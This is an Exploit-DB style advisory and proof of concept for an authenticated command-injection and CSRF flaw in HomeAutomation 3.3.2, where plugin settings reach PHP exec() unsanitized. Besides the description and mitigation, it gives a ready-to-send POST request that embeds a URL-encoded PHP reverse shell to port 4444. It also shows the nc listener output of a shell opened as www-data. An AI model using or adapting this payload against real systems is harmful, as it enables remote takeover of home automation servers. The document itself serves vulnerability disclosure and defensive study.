HomeAutomation 3.3.2 - Remote Code Execution

vendor:

HomeAutomation

by:

LiquidWorm

7.5

CVSS

HIGH

Remote Code Execution

CWE

Product Name: HomeAutomation

Affected Version From: 3.3.2002

Affected Version To: 3.3.2002

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips

2019

HomeAutomation 3.3.2 – Remote Code Execution

The HomeAutomation application version 3.3.2 is vulnerable to remote code execution. This can be exploited by an attacker with authenticated access to the application and the ability to perform a CSRF attack. The vulnerability exists in the 'customcommand.plugin.php' file, where unsanitized user input is passed to the 'exec()' function, allowing arbitrary shell commands to be executed as the web user.

Mitigation:

Update to a patched version of the HomeAutomation application that addresses this vulnerability. Additionally, ensure that user input is properly sanitized before being used in shell commands.

Source

Exploit-DB raw data:

# Exploit: HomeAutomation 3.3.2 - Remote Code Execution
# Date: 2019-12-30
# Author: LiquidWorm
# Vendor: Tom Rosenback and Daniel Malmgren
# Product web page: http://karpero.mine.nu/ha/
# Affected version: 3.3.2
# Tested on: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips
# Advisory ID: ZSL-2019-5560
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5560.php

HomeAutomation v3.3.2 CSRF Remote Command Execution (PHP Reverse Shell) PoC

Vendor: Tom Rosenback and Daniel Malmgren
Product web page: http://karpero.mine.nu/ha/
Affected version: 3.3.2

Summary: HomeAutomation is an open-source web interface and scheduling solution.
It was initially made for use with the Telldus TellStick, but is now based on a
plugin system and except for Tellstick it also comes with support for Crestron,
OWFS and Z-Wave (using OpenZWave). It controls your devices (switches, dimmers,
etc.) based on an advanced scheduling system, taking into account things like
measurements from various sensors. With the houseplan view you can get a simple
overview of the status of your devices at their location in your house.

Desc: The application suffers from an authenticated OS command execution vulnerability
using custom command v0.1 plugin. This can be exploited with CSRF vulnerability to
execute arbitrary shell commands as the web user via the 'set_command_on' and 'set_command_off'
POST parameters in '/system/systemplugins/customcommand/customcommand.plugin.php' by
using an unsanitized PHP exec() function.

===============================================================================
/system/systemplugins/customcommand/customcommand.plugin.php:
-------------------------------------------------------------

77: 	function toggleDevices($devicesToToggle, $statuses) {
78: 		$output = array();
79: 		$command = "";
80: 
81: 		foreach($devicesToToggle as $device)
82: 		{
83: 			$status = $statuses[$device["id"]];
84: 			if($status == 0) {
85: 				$command = $this->getSettings("command_off");
86: 			} else {
87: 				$command = $this->getSettings("command_on");
88: 			}
89: 
90: 			if(!empty($command)) {
91: 				$command = replaceCustomStrings($command, $device, $statuses[$device["id"]]);
92: 
93: 				exec($command, $output);
94: 
95: 				SaveLog("Command: ".$command."\nOutput:\n".parseExecOutputToString($output));
96: 			}
97: 		}
98: 
99: 		return "";
100: 	}
===============================================================================

Tested on: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips
           Apache/2.4.29 (Ubuntu)
           PHP/7.4.0RC4
           PHP/7.3.11
           PHP 7.2.24-0ubuntu0.18.04.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5560
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5560.php


06.11.2019

--


POST /homeautomation_v3_3_2/?page=conf-systemplugins HTTP/1.1

plugin=customcommand&action=savesettings&set_command_on=php+-r+%27%24sock%3Dfsockopen%28%22127.0.0.1%22%2C4444%29%3Bexec%28%22%2Fbin%2Fsh+-i+%3C%263+%3E%263+2%3E%263%22%29%3B%27&set_command_off=&savesettings=Save

-

lqwrm@metalgear:/$ nc -lvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from localhost 40724 received!
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ pwd
/var/www/html/homeautomation_v3_3_2
$ exit
lqwrm@metalgear:/$